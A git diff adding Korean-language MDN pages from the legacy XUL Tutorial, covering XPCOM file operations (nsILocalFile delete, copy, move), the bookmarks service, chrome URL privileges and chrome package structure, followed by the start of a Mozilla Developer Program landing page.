+<p>만일 객체에 <code>QueryInterface()</code>를 호출하고 해당 객체에서 지원하지 않는 인터페이스를 요청하면 예외가 발생합니다. 어떤 컴포넌트에서 어떤 인터페이스가 지원되는지 확신이 없을 경우 이를 확인하기 위해 <code><a href="ko/Core_JavaScript_1.5_Reference/Operators/Special_Operators/instanceof_Operator">instanceof</a></code> 연산자를 사용할 수 있습니다.</p>
+
+<pre>var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance();
+if (aFile instanceof Components.interfaces.nsILocalFile){
+  // do something
+}
+</pre>
+
+<p>위 코드에서 <code>instanceof</code> 연산자는 aFile이 nsILocalFile 인터페이스를 구현하였다면 true를 반환합니다. 이것은 <code>QueryInterface()</code>를 호출하는 것에 대한 부작용이 있으며, 따라서 aFile은 이후에 유효해집니다.</p>
+
+<h3 id=".EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4.EC.9D.98_.ED.95.A8.EC.88.98_.ED.98.B8.EC.B6.9C" name=".EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4.EC.9D.98_.ED.95.A8.EC.88.98_.ED.98.B8.EC.B6.9C">인터페이스의 함수 호출</h3>
+
+<p>이제 우리는 nsILocalFile 인터페이스를 구현한 컴포넌트를 참조하는 객체를 가지고 있으므로, 이로부터 nsILocalFile의 함수를 호출할 수 있습니다. 아래의 표는 nsILocalFile 인터페이스에 있는 함수와 메소드의 일부를 보여주고 있습니다.</p>
+
+<dl>
+ <dt>initWithPath </dt>
+ <dd>이 메소드는 nsILocalFile에서 사용할 파일명과 경로를 초기화하는데 사용됩니다. 첫번째 인자는 '/usr/local/mozilla'와 같은 파일 경로이어야 합니다.</dd>
+ <dt>leafName </dt>
+ <dd>디렉토리 부분을 뺀 파일명.</dd>
+ <dt>fileSize </dt>
+ <dd>파일 크기.</dd>
+ <dt>isDirectory() </dt>
+ <dd>nsILocalFile이 디렉토리이며 true를 반환합니다.</dd>
+ <dt>remove(recursive) </dt>
+ <dd>파일을 삭제합니다. 만일 recursive 인자가 true이면 디렉토리와 이 안에 있는 모든 파일, 하위 디렉토리 모두 삭제됩니다.</dd>
+ <dt>copyTo(directory,newname) </dt>
+ <dd>파일을 다른 디렉토리로 복사하며, 선택적으로 파일명을 바꿀 수 있습니다. directory 인자는 파일이 복사될 디렉토리에 대한 nsILocalFile 객체이어야 합니다.</dd>
+ <dt>moveTo(directory,newname) </dt>
+ <dd>파일을 다른 디렉토리로 이동하거나 이름을 변경합니다. directory 인자는 파일이 이동할 대상 디렉토리에 대한 nsILocalFile 객체이어야 합니다.</dd>
+</dl>
+
+<p>파일을 삭제하기 위해서 먼저 해당 파일을 nsILocalFile에 할당해야 합니다. <code>initWithPath()</code> 메소드를 호출함으로서 어떤 파일인지를 알려줍니다. 이 속성에는 그냥 파일의 경로만 할당하세요. 다음으로 <code>remove()</code> 함수를 호출합니다. 이 함수는 재귀적으로 삭제할지를 나타내는 한개 인자만을 받습니다. 아래 코드는 이러한 두 단계를 보여줍니다.</p>
+
+<pre>var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance();
+if (aFile instanceof Components.interfaces.nsILocalFile){
+  aFile.initWithPath("/mozilla/testfile.txt");
+  aFile.remove(false);
+}
+</pre>
+
+<p>이 코드는 /mozilla/testfile.txt 파일을 삭제할 것입니다. 임의의 이벤트 핸들러에 위 코드를 추가해서 실행해 보세요. 위의 파일명은 삭제하고자 하는 것으로 바꿔주어야 할 것입니다.</p>
+
+<p>위 표에 있는 함수들 중 copyTo()와 moveTo() 함수는 각각 파일을 복사하고 이동하기 위해 사용됩니다. 여기서 주의할 것은 이 함수들의 복사하거나 이동할 대상 디렉토리 인자가 문자열 값이 아닌 nsILocalFile 이어야 한다는 점입니다. 이것은 이 함수를 실행하려면 두 개의 파일 컴포넌트가 필요하다는 것을 의미합니다. 아래 예제는 어떻게 파일을 복사하는지를 보여줍니다.</p>
+
+<pre>function copyFile(sourcefile,destdir)
+{
+  // get a component for the file to copy
+  var aFile = Components.classes["@mozilla.org/file/local;1"]
+    .createInstance(Components.interfaces.nsILocalFile);
+  if (!aFile) return false;
+
+  // get a component for the directory to copy to
+  var aDir = Components.classes["@mozilla.org/file/local;1"]
+    .createInstance(Components.interfaces.nsILocalFile);
+  if (!aDir) return false;
+
+  // next, assign URLs to the file components
+  aFile.initWithPath(sourcefile);
+  aDir.initWithPath(destdir);
+
+  // finally, copy the file, without renaming it
+  aFile.copyTo(aDir,null);
+}
+
+copyFile("/mozilla/testfile.txt","/etc");
+</pre>
+
+<h3 id="XPCOM_.EC.84.9C.EB.B9.84.EC.8A.A4" name="XPCOM_.EC.84.9C.EB.B9.84.EC.8A.A4">XPCOM 서비스</h3>
+
+<p>어떤 XPCOM 컴포넌트들은 서비스라 불리는 특별한 컴포넌트들입니다. 이것들은 꼭 하나만 존재해야 하기 때문에 인스턴스를 만들지 않습니다. 서비스는 전역 데이터를 획득 또는 지정하거나 다른 객체들에 대한 어떤 동작을 수행하기 위한 범용 함수를 제공합니다. 서비스 컴포넌트에 대한 참조를 얻어오기 위해서는 <code>createInstance()&lt;code&gt; 함수 대신 &lt;code&gt;getService()</code> 함수를 호출해야 합니다. 이것 이외에는 다른 컴포넌트들과 특별히 다른점은 없습니다.</p>
+
+<p>Mozilla에서 제공하는 서비스들 중 북마크 서비스가 이에 해당합니다. 이 서비스를 이용하면 현재 사용자의 북마크 목록에 북마크를 추가할 수 있습니다. 다음은 이에 대한 예입니다.</p>
+
+<pre>var bmarks = Components.classes["@mozilla.org/browser/bookmarks-service;1"].getService();
+bmarks.QueryInterface(Components.interfaces.nsIBookmarksService);
+bmarks.addBookmarkImmediately("http://www.mozilla.org","Mozilla",0,null);
+</pre>
+
+<p>먼저 "@mozilla.org/browser/bookmarks-service;1" 컴포넌트가 반환되고 이의 서비스가 <code>bmarks</code> 변수에 저장되었습니다. 우리는 nsIBookmarksService 인터페이스를 얻기 위해 <code>QueryInterface()</code>를 사용했습니다. 이 인터페이스에서 제공하는 <code>addBookmarkImmediately()</code> 함수는 북마크를 추가하기 위해 사용됩니다. 이 함수의 처음 두개의 인자는 북마크의 URL과 제목입니다. 세번째 인자는 북마크 유형으로 보통 0이며, 마지막 인자는 북마크될 문서의 문자 인코딩으로 null일 수 있습니다.</p>
+
+<p>다음에는 우리가 사용할 수 있는 <a href="ko/XUL_Tutorial/XPCOM_Examples">Mozilla에서 제공하는 몇가지 인터페이스</a>에 대해 알아보겠습니다.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Box_Objects" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:XPCOM_Examples">다음  »</a></p>
+</div><p></p>
+
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/xul_structure/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/xul_structure/index.html
new file mode 100644
index 0000000000..4f1326dc6a
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/xul_structure/index.html
@@ -0,0 +1,166 @@
+---
+title: XUL Structure
+slug: Mozilla/Tech/XUL/XUL_Tutorial/XUL_Structure
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/XUL_Structure
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Introduction" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:The_Chrome_URL">다음  »</a></p>
+</div><p></p>
+
+<p><br>
+ 우리는 먼저 Mozilla에서 XUL의 작동 방식에 대해 알아볼 것 입니다.</p>
+
+<h3 id="XUL.EC.9D.98_.EC.9E.91.EB.8F.99_.EB.B0.A9.EC.8B.9D" name="XUL.EC.9D.98_.EC.9E.91.EB.8F.99_.EB.B0.A9.EC.8B.9D">XUL의 작동 방식</h3>
+
+<p>Mozilla에서 XUL은 HTML이나 다른 유형의 컨텐츠가 동작하는 것과 매우 비슷한 방법으로 동작합니다. 사용자가 브라우저의 주소 영역에 HTML 페이지의 URL을 입력하면, 브라우저는 해당 웹 사이트를 찾고 내용을 다운로드합니다. Mozilla의 렌더링 엔진은 HTML 소스 형태인 내용을 가져와서 <a href="ko/DOM">DOM</a>이라고 하는 문서 트리 구조로 변환합니다. 그 후 트리는 화면에 출력될 수 있는 객체 집합으로 변경됩니다. <a href="ko/CSS">CSS</a>, 이미지, 기타 다른 기술들이 출력을 제어하는데 사용됩니다. XUL도 동일한 방식으로 동작합니다.</p>
+
+<p>사실 Mozilla에서는 문서 형태가 HTML, XUL 혹은 <a href="ko/SVG">SVG</a> 인지 상관없이 동일한 내부 코드에 의해 작동됩니다. 이것은 동일한 CSS 속성을 HTML과 XUL 모두의 스타일에 사용할 수 있으며, 많은 기능들을 공유할 수 있다는 것을 의미합니다. 그러나 HTML에서의 폼(form)이나 XUL에서의 <a href="ko/XUL_Tutorial/Overlays">overlays</a>같이 고유한 것들도 존재합니다. XUL과 HTML은 동일한 방법으로 동작하므로 둘 다 로컬 파일 시스템, 웹 페이지, 확장 기능 혹은 독립형 <a href="ko/XULRunner">XULRunner</a> 응용프로그램을 통해 로드할 수 있습니다.</p>
+
+<p><code><span class="nowiki">http://localhost/~username/</span></code>과 같은 원격지의 컨텐츠는 문서 형태가 HTML이나 XUL 혹은 다른 형태인지에 상관없이 보안상의 이유로 컨텐츠가 수행할 수 있는 동작에 제한을 가지게 됩니다. 이러한 이유 때문에 Mozilla에서는 컨텐츠를 로컬에 설치하고 <strong><a href="ko/Chrome">chrome</a></strong> 시스템의 일부분으로 등록할 수 있는 방법을 제공하고 있습니다. 이는 <code><a class="external" rel="freelink">chrome://</a></code> URL이라고 불리는 특별한 URL 형식에 의해 가능합니다. Chrome URL을 사용하여 파일에 접근하게 되면, 해당 파일들은 로컬 파일이나 설정, 북마크 등에 접근할 수 있는 향상된 권한을 가지며, 또 다른 권한이 필요한 동작을 수행할 수 있습니다. 전자 인증서로 서명되거나 그러한 행위를 수행하도록 허가되지 않는다면, 당연히 웹 페이지들은 이러한 권한을 얻을 수 없습니다.</p>
+
+<p>이러한 <strong>chrome</strong> 꾸러미의 등록이 Firefox 확장 기능이 브라우저에 기능을 추가할 수 있는 방법입니다. 확장 기능은 XUL, 자바스크립트, 스타일시트, 이미지들을 단일 파일로 묶어 놓은 작은 꾸러미입니다. 이 파일은 ZIP 유틸리티를 이용하여 생성할 수 있습니다. 사용자가 꾸러미 파일을 다운로드 받으면, 컴퓨터에 확장 기능이 설치될 것입니다. 꾸러미는 브라우저의 XUL과 확장 기능의 XUL을 조합하는 <a href="ko/Overlay">overlay</a>라는 고유 기능을 사용하여 브라우저에 잡히게 됩니다. 사용자에게는 마치 확장 기능이 브라우저를 <strong>수정</strong>한것 처럼 보이겠지만 사실 모든 코드는 분리되어 있으며 확장 기능은 쉽게 설치 해제(uninstall)할 수 있습니다. 물론 등록된 꾸러미가 꼭 overlay를 사용해야 할 필요는 없습니다. Overlay를 사용하지 않는 꾸러미들은 메인 브라우저의 인터페이스를 통해서는 접근할 수 없지만, chrome URL을 이용해서 여전히 접근할 수 있습니다.</p>
+
+<p>독립형 XUL 응용프로그램들은 유사한 방법으로 XUL코드를 포함할 수 있지만, 당연히 확장기능처럼 별도로 설치되어야만 하는 것과는 달리 응용프로그램을 위한 XUL이 설치의 일부분에 포함되어야만 합니다. 그러나 이러한 XUL 코드가 응용프로그램이 UI를 출력할 수 있는 것과 같은 chrome 시스템에 등록될 것입니다.</p>
+
+<p>Mozilla 브라우저 자체는 XUL 파일, 자바스크립트, 스타일시트를 포함하는 꾸러미 집합이라는 것을 알 필요가 있습니다. 이러한 파일들은 chrome URL을 통해 접근 가능하고 보다 강화된 권한을 가지며 다른 꾸러미들처럼 동작합니다. 물론 브라우저는 대부분의 확장기능보다 더 크고 복잡합니다. 수 많은 다른 컴포넌트들뿐만 아니라 Firefox와 Thunderbird도 모두 XUL로 작성되어 있고 chrome URL을 통해 접근할 수 있습니다. 여러분은 이러한 꾸러미를 Firefox나 다른 XUL 응용 프로그램이 설치된 chrome 디렉토리에서 확인할 수 있습니다.</p>
+
+<p>Chrome URL은 항상 '<a class="external" rel="freelink">chrome://'로</a> 시작합니다. <span class="nowiki">'http://'</span> URL이 항상 HTTP를 사용해 접근하는 원격 웹 사이트를 참조하고, '<a class="external" rel="freelink">file://</a>' URL이 항상 로컬 파일을 참조하는 것과 마찬가지로 '<a class="external" rel="freelink">chrome://</a>' URL은 항상 설치된 꾸러미와 확장기능을 참조합니다. 다음 섹션에서 chrome URL의 구문에 대해 좀 더 자세히 알아 볼 것입니다. Chrome URL을 통해 컨텐츠에 접근할 때는 위에서 언급한 다른 종류의 URL이 갖지 못한 강화된 권환을 획득한다는 것에 유의하십시요. 예를 들어 HTTP URL은 특별한 권한을 가지고 있지 않으므로, 웹 페이지가 로컬 파일을 읽으려고 하면 오류가 발생할 것입니다. 그러나 chrome URL을 이용하여 로드된 파일은 제약 없이 파일을 읽을 수 있습니다.</p>
+
+<p>이러한 차이는 중요합니다. 이것은 사용자의 북마크를 읽는 것과 같이 웹 페이지상의 컨텐츠가 할 수 없는 것이 있다는 것을 의미합니다. 이러한 차이점은 출력되는 컨텐츠의 종류에 따른 것은 아니고 단지 사용된 URL의 종류에 따른 것입니다. 웹 사이트에 위치한 HTML과 XUL은 모두 특별한 퍼미션이 없지만, chrome URL을 통해 로드되면 강화된 퍼미션을 가지게 됩니다.</p>
+
+<p>만일 여러분이 웹사이트에서 XUL을 사용한다면, HTML 파일들을 웹 사이트에 올리것처럼 XUL 파일을 올리고 브라우저 <small><span class="nowiki">http://localhost/xul.php</span></small>에서 URL을 로드합니다. 여러분의 웹 서버가 XUL 파일을 <strong><code>application/vnd.mozilla.xul+xml</code></strong>의 컨텐츠 타입(PHP에서는 <code>header('content-type:application/vnd.mozilla.xul+xml');</code>)으로 보낼 수 있도록 설정되어 있는지 확인하세요. 이 컨텐츠 타입은 Mozilla가 HTML과 XUL을 구분하는데 사용됩니다. Mozilla는 파일 시스템을 통해 파일을 읽은 것이 아니면 파일 확장자를 사용하는 것은 아니지만, 모든 XUL 파일들에 대해 .xul 확장자를 사용하는 것이 좋습니다. 여러분은 여러분의 컴퓨터의 브라우저에서 열거나 파일 매니저에서 더블 클릭하여 XUL 파일을 로드할 수 있습니다.</p>
+
+<div class="note">원격 XUL은 기능상의 중대한 제약 조건을 가지는 것을 기억하세요.</div>
+
+<h4 id=".EB.AC.B8.EC.84.9C_.EC.9C.A0.ED.98.95:_HTML_XML_XUL_CSS" name=".EB.AC.B8.EC.84.9C_.EC.9C.A0.ED.98.95:_HTML_XML_XUL_CSS">문서 유형: HTML XML XUL CSS</h4>
+
+<p>Mozilla는 문서 유형들 간의 대부분의 기능들은 공유하지만 HTML과 XUL에 대해 완전히 다른 종류의 문서 객체(<a href="ko/DOM">DOM</a>)를 사용합니다. Mozilla에는 HTML, XML, XUL의 세 가지 종류의 주요 문서 유형이 존재합니다. 본질적으로 HTML 문서는 HTML 문서에 사용되고 XUL 문서는 XUL 문서에 XML 문서는 다른 종류의 XML 문서에 사용됩니다. XUL 역시 XML이기 때문에 XUL 문서는 좀 더 일반적인 XML 문서의 서브 타입입니다. 기능상의 사소한 차이점이 존재합니다. 예를 들어 HTML 페이지에서의 폼 컨트롤은 <code>document.forms</code> 속성을 통해 접근할 수 있는 반면, XUL은 HTML에서의 폼이 없기 때문에 이러한 속성은 XUL 문서에서는 사용할 수 없습니다. 비슷하게 overlayer나 template과 같은 XUL 고유 기능은 XUL문서에서만 가능합니다.</p>
+
+<p>이러한 문서간의 차이는 중요합니다. 문서 타입에 특정하지 않은 많은 XUL의 기능을 HTML이나 XML 문서에서도 사용할 수 있습니다. 그러나 다른 기능들은 올바른 유형의 문서를 필요로 합니다. 예를 들어 여러분은 XUL layout 타입은 XUL 문서 타입에 의존하지 않기 때문에 다른 문서에서도 사용할 수 있습니다.</p>
+
+<p>위에서 언급한 점을 요약하면 다음과 같습니다.</p>
+
+<ul>
+ <li>Mozilla는 <a href="ko/HTML">HTML</a>과 <a href="ko/XUL">XUL</a>을 동일한 내부 엔진으로 출력하고 출력 양식을 결정하기 위해 <a href="ko/CSS">CSS</a>를 사용합니다.</li>
+</ul>
+
+<ul>
+ <li>XUL은 원격지, 로컬 파일 시스템이나 설치된 꾸러미로부터 로드될 수 있고, <a href="ko/Chrome">chrome</a> URL을 사용해서 접근할 수 있습니다. 마지막 방법은 브라우저의 확장 기능이 하는 것입니다.</li>
+</ul>
+
+<ul>
+ <li>Chrome URL은 설치된 꾸러미에 접근하고 강화된 권한으로 여는데 사용할 수 있습니다.</li>
+</ul>
+
+<ul>
+ <li>HTML, XML, XUL은 서로 다른 문서 타입을 가집니다. 어떠한 기능들은 아무 문서 타입에서도 사용할 수 있지만 어떠한 기능들은 특정 유형의 문서에서만 사용할 수 있습니다.</li>
+</ul>
+
+<p>다음 섹션에서는 Mozilla에 설치될 수 있는 chrome 꾸러미의 기본 구조에 대해 설명합니다. 그러나 여러분이 지금 당장 간단한 응용 프로그램을 작성하고 싶다면, <a href="ko/XUL_Tutorial/Creating_a_Window">Creating a Window</a>로 건너뛰고 다음을 위해 본 섹션은 저장하세요.</p>
+
+<h3 id="Package_Organization" name="Package_Organization">Package Organization</h3>
+
+<p>Mozilla is organized in such a way that you can have as many components as you want pre-installed. Each extension is also a component with a separate chrome URL. It also has one component for each installed theme and locale. Each of these components, or packages, is made up of a set of files that describe the user interface for it. For example, the messenger component has descriptions of the mail messages list window, the composition window and the address book dialogs.</p>
+
+<p>The packages that are provided with Mozilla are located within the chrome directory, which are in the directory where you installed Mozilla. The chrome directory is where you find all the files that describe the user interface used by the Mozilla browser, mail client, and other applications. Typically, you put all the XUL files for an application in this directory, although extensions are installed in the extensions directory for a particular user. Just copying a XUL file into the chrome directory doesn't give the file any extra permissions, nor can it be accessed via a chrome URL. To gain the extra privileges, you will need to create a manifest file and put that in the chrome directory. This file is easy to create, as it is typically only a couple of lines long. It is used to map a chrome URL to a file or directory path on the disk where the XUL files are located. Details of how to create this file will be discussed in a <a href="ko/XUL_Tutorial/Manifest_Files">later section</a>.</p>
+
+<p>The only way to create content that can be accessed through a chrome URL is by creating a package as described in the next few sections. This directory is called 'chrome' likely because it seemed like a convenient name to use for the directory where the chrome packages that are included with Mozilla are kept.</p>
+
+<p>To further the confusion, there are two other places where the word "chrome" might appear. These are the <code>-chrome</code> command line argument and the <code>chrome</code> modifier to the <code><a href="ko/DOM/window.open">window.open()</a></code> function. Neither of these features grant extra privileges; instead they are used to open a new top-level window without the browser UI such as the menu and toolbar. You will commonly use this feature in more complex XUL applications since you wouldn't want the browser UI to exist around your dialog boxes.</p>
+
+<p>The files for a package are usually combined into a single JAR file. A JAR file may created and examined using a ZIP utility. For instance, you can open the JAR files in Mozilla's chrome directory to see the basic structure of a package. Although it's normal to combine the files into a JAR file, packages may also be accessed in expanded form into a directory. Although you don't normally distribute a package this way, it is handy during development since you can edit the file directly and then reload the XUL file without having to repackage or reinstall the files.</p>
+
+<p>By default, Mozilla applications parse XUL files and scripts, and store a pre-compiled version in memory for the remainder of the application session. This improves performance. However, because of this, the XUL will be not be reloaded even when the source files are changed. To disable this mechanism, it is necessary to change the preference <code>nglayout.debug.disable_xul_cache</code>. In Firefox, this preference may be added to the user preferences by typing "about:config" in the address field, and setting this value to true. Or, just manually edit your user.js preferences file and add the following line:</p>
+
+<pre class="eval">pref("nglayout.debug.disable_xul_cache", true);
+</pre>
+
+<p>There are usually three different parts to a chrome package, although they are all optional. Each part is stored in a different directory. These three sets are the content, the skin, and the locale, which are all described below. A particular package might provide one or more skins and locales, but a user can replace them with their own. In addition, the package might include several different applications, each accessible via different chrome URLs. The packaging system is flexible enough so that you can include whatever parts you need and allow other parts, such as the text for different languages, to be downloaded separately.</p>
+
+<p>The three types of chrome packages are:</p>
+
+<ul>
+ <li><strong>Content</strong> - Windows and scripts<br>
+  The declarations of the windows and the user interface elements contained within them. These are stored in XUL files, which have a .xul extension. A content package can have multiple XUL files, but the main window should have a filename that is the same as the package name. For example, the editor package will have a file within it called editor.xul. Scripts are placed in separate files alongside the XUL files.</li>
+ <li><strong>Skin</strong> - Style sheets, images and other theme specific files<br>
+  Style sheets describe details of the appearance of a window. They are stored separately from XUL files to facilitate modifying the skin (theme) of an application. Any images used are stored here also.</li>
+ <li><strong>Locale</strong> - Locale specific files<br>
+  All the text that is displayed within a window is stored separately. This way, a user can have a set for their own language.</li>
+</ul>
+
+<h3 id="Content_Packages" name="Content_Packages">Content Packages</h3>
+
+<p>The name of the JAR file might describe what it contains, but you can't be sure unless you view its contents. Let's use the browser package included with Firefox as an example. If you extract the files in browser.jar, you will find that it contains a directory structure much like the following:</p>
+
+<pre>content
+   browser
+      browser.xul
+      browser.js
+      -- other browser XUL and JS files goes here --
+      bookmarks
+         -- bookmarks files go here --
+      preferences
+         -- preferences files go here --
+.
+.
+.
+</pre>
+
+<p>This is easily recognizable as a content package, as the top-level directory is called content. For skins, this directory will usually be called skin and for locales, it will usually be called locale. This naming scheme isn't necessary, but this is a common convention to make the parts of a package clearer. Some packages may include a content section, a skin, and a locale. In this case, you will find a subdirectory for each type. For example, Chatzilla is distributed in this way.</p>
+
+<p>The content/browser directory contains a number of files with .xul and .js extensions. The XUL files are the ones with the .xul extension. The files with .js extensions are JavaScript files containing scripts that handle the functionality of a window. Many XUL files have a script file associated with them, and some may have more than one.</p>
+
+<p>In the listing above, two files have been shown. There are of course others, but for simplicity they aren't shown. The file browser.xul is the XUL file that describes the main browser window. The main window for a content package should have the same name as the package with a .xul extension. In this case, the package name is "browser" so we expect to find browser.xul. Some of the other XUL files describe separate windows. For example, the file pageInfo.xul describes the page info dialog.</p>
+
+<p>Many packages will include a contents.rdf file, which describes the package, its author, and the overlays it uses. However, this file is obsolete and has been replaced with a simpler mechanism. This newer method is the manifest file mentioned earlier, and you will find these as files with the .manifest extension in the chrome directory. For instance, browser.manifest describes the browser package.</p>
+
+<p>Several subdirectories, such as bookmarks and preferences, describe additional sections of the browser component. They are placed in different directories only to keep the files more organized.</p>
+
+<h3 id="Skins_or_Themes" name="Skins_or_Themes">Skins or Themes</h3>
+
+<p>Although the underlying code for Mozilla calls them skins and the user interface calls them themes, they're both referring to the same thing. The classic.jar file describes the default theme provided with Firefox. The structure is similar to the content packages. For example, examining classic.jar:</p>
+
+<pre>skin
+   classic
+      browser
+         browser.css
+         -- other browser skin files go here --
+      global
+         -- global skin files go here --
+.
+.
+.
+</pre>
+
+<p>Again, this directory structure isn't necessary and is used for convenience. You can actually put all the files in one directory at the top level and not use subdirectories. However, for larger applications, subdirectories are used to separate the different components. In the example above, a directory exists for theme related files for the browser and another for global theme related files. The global directory contains skin files that are general to all packages. These files will apply to all components and will be included with your own standalone applications. The global part defines the appearance of all of the common XUL widgets, whereas the other directories have files that are specific to those applications. Firefox includes both the global and browser theme files in one archive, but they can be included separately.</p>
+
+<p>A skin is made up of CSS files and a number of images used to define the look of an interface. The file browser.css is used by browser.xul and contains styles that define the appearance of various parts of the browser interface. Again, note how the file browser.css has the same name as the package. By changing the CSS files, you can adjust the appearance of a window without changing its function. This is how you can create a new theme. The XUL part remains the same but the skin part changes independently.</p>
+
+<h3 id="Locales" name="Locales">Locales</h3>
+
+<p>The file en-US.jar describes the language information for each component, in this case for US English. Like the skins, each language file contains files that specify text used by the package for a specific language. The locale structure is similar to the others, so it won't be listed here.</p>
+
+<p>The localized text is stored in two types of files: DTD files and properties files. The DTD files have a .dtd extension and contain entity declarations, one for each text string that is used in a window. For example, the file browser.dtd contains entity declarations for each menu command. In addition, keyboard shortcuts for each command are also defined, because they may be different for each language. DTD files are used by XUL files so, in general, you will have one per XUL file. The locale part also contains properties files, which are similar, but are used by script files. The file browser.properties contains a few such localized strings.</p>
+
+<p>This structure allows you to translate Mozilla or a component into a different language by just adding a new locale for that language. You don't have to change the XUL code at all. In addition, another person could supply a separate package that applies a skin or locale to your content part, thus providing support for a new theme or language without having to change the original package.</p>
+
+<h3 id="Other_Packages" name="Other_Packages">Other Packages</h3>
+
+<p>There is a one special package called toolkit (or global). We saw the global directory earlier for skins. The file toolkit.jar contains the corresponding content part for it. It contains some global dialogs and definitions. It also defines the default appearance and functionality of the various common XUL widgets such as textboxes and buttons. The files located in the global part of a skin package contain the default look for all of the XUL interface elements. The toolkit package is used by all XUL applications.</p>
+
+<h3 id="Adding_a_Package" name="Adding_a_Package">Adding a Package</h3>
+
+<p>Mozilla places the packages that are included with the installation in the chrome directory. However, they do not need to be placed there. When installing another package, you can place it anywhere on the disk, as long as a manifest file points to it. It is common to place packages into the chrome directory simply because it is convenient; however, they will work just as well from another directory or somewhere on your local network. You cannot store them on a remote site, unless the remote site is mounted through the local file system.</p>
+
+<p>There are two chrome directories used for XUL applications: one is installed in the same place where the application is installed, while the other is part of user's profile. The former allows packages that are shared by all users while the latter allows packages to be created only for a specific user or users. Extensions, while installed in a separate extensions directory, are also usually user specific. Any manifest files located in either chrome directory will be examined to see which packages are installed.</p>
+
+<p>In the next section, we'll look at how to refer to chrome packages using the chrome URL.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Introduction" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:The_Chrome_URL">다음  »</a></p>
+</div> <span class="comment">Interwiki Language Links</span><p></p>
+
+<p></p>
diff --git a/files/ko/mozilla/개발자_프로그램/index.html b/files/ko/mozilla/개발자_프로그램/index.html
new file mode 100644
index 0000000000..0282bfa7e2
--- /dev/null
+++ b/files/ko/mozilla/개발자_프로그램/index.html
@@ -0,0 +1,124 @@
+---
+title: Mozilla 개발자 프로그램
+slug: Mozilla/개발자_프로그램
+translation_of: Mozilla/Connect
+---
+<div class="summary">
+<pre><span class="seoSummary">Enable, inspire and collaborate to make the Web the primary platform used to create experiences across all connected devices.</span></pre>
+</div>
+
+<div>
+<div class="column-container dev-program-callouts dev-program-block dev-program-first dev-program-column-wrapper">
+<div class="dev-program-callout">
+<div class="callout-link-container">
+<h2 id="Hacks_blog">Hacks blog</h2>
+
+<p>Open Web을 개발하는 사람들의 가장 핵심 수단인 Mozilla Hacks blog는 웹 기술과 브라우저 특징들의 최신 뉴스와 토론들을 제공합니다.</p>
+
+<div class="callout-link-wrapper"><a class="callout-link ignore-external" href="https://hacks.mozilla.org/" style="white-space: normal;">Read it now </a></div>
+</div>
+</div>
+
+<div class="dev-program-callout">
+<div class="callout-link-container">
+<h2 id="Feedback_channels">Feedback channels</h2>
+
+<p>Do you have a <a href="http://mzl.la/devtools">great idea for the Developer Tools</a> in Firefox or <a href="http://mzl.la/openwebapps">how Open Web Apps should work</a>? Let us know and help shape the future features!</p>
+
+<p>Building things and need help? Ask away on Stack Overflow!<br>
+ <span class="smaller"><strong>{{anch("Developer discussions", "Search the Q&amp;A below")}}</strong></span></p>
+
+<div class="callout-link-wrapper"><a class="callout-link ignore-external" href="http://stackoverflow.com/r/mozilla" style="white-space: normal;">Mozilla Q&amp;A on Stack Overflow </a></div>
+</div>
+</div>
+
+<div class="dev-program-callout">
+<div class="callout-link-container">
+<h2 id="Join_MDN">Join MDN</h2>
+
+<p>개발자 프로그램에 가입하세요! You will able to <a href="/en-US/docs/MDN/Contribute">edit the documentation</a> here, create a profile to show off your work, and get access to features over time as we roll them out.</p>
+
+<div class="callout-link-wrapper"><a class="callout-link" href="/profile/edit" style="white-space: normal;">Join or log in </a></div>
+</div>
+</div>
+</div>
+
+<div class="dev-program-explanation dev-program-block">
+<h2 id="Connect_with_Mozilla">Connect with Mozilla</h2>
+
+<p>Developers are creating the future by building services and apps for people all over the world. The goal of Mozilla Developer Relations is to help developers to use open and standardized web technologies to succeed in achieving their goals. In addition to the documentation here on MDN, we offer help and other resources towards this goal, through various channels. We invite you to connect, learn, and share your own knowledge.</p>
+
+<p>We are offering help through <a href="http://stackoverflow.com/r/mozilla">Q&amp;A on Stack Overflow</a>, to solve specific technical issues and challenges you might have. We also have a newsletter keeping you informed on the latest happenings in the web scene around web apps and more. <a href="https://marketplace.firefox.com/developers/#newsletter-signup">Subscribe to the Apps &amp; Hacks newsletter.</a></p>
+
+<p>If you share Mozilla's <a href="https://www.mozilla.org/en-US/mission/">mission</a> and <a href="https://www.mozilla.org/en-US/about/manifesto/">principles</a>, and want to help spread them to more developers, check out the ways you can <a href="https://wiki.mozilla.org/Engagement/Developer_Engagement/Technical_Evangelism/Get_Involved">get involved with technical evangelism</a>, and join our <a href="https://lists.mozilla.org/listinfo/evangelism">evangelism discussion group</a>.</p>
+
+<p>We have a lot of plans and ideas for iteratively expanding our Developer Relations offerings, and we want you involved as we do so! So, <a href="http://stackoverflow.com/r/mozilla">follow the tags on Stack Overflow</a>, <a href="https://hacks.mozilla.org/">subscribe to the Hacks blog</a>, <a href="https://marketplace.firefox.com/developers/#newsletter-signup">subscribe to the newsletter, </a>and <a href="/profile/edit">sign up for an account</a>!</p>
+
+<h2 id="Join_Mozilla" style="line-height: 30px;"><strong>Join Mozilla</strong></h2>
+
+<p><span style="line-height: 1.5;">If you want to go beyond <em>connecting</em> with Mozilla, you can <em>join</em> Mozilla and help realize <a href="https://www.mozilla.org/mission/">Mozilla's mission of building a better Internet</a>. As a developer, you have skills to contribute in many areas, as well as the opportunity to enhance your skills. Mozilla is an open source project, so we "default to open." You can "view source" and contribute to our software development projects, like the Firefox browser for desktop and Android, Firefox OS, and Mozilla's own websites. You can become part of an international community and get recognition for your efforts. Here are some of the advantages of contributing to the Mozilla project.</span></p>
+
